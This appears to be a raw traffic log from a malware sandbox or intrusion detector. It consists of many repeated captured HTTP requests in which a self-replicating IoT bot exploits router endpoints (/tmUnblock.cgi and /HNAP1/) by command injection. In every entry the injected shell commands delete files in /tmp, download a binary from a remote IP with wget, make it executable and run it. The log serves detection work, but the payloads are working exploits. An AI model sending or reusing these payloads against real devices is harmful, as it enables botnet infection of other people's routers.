Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
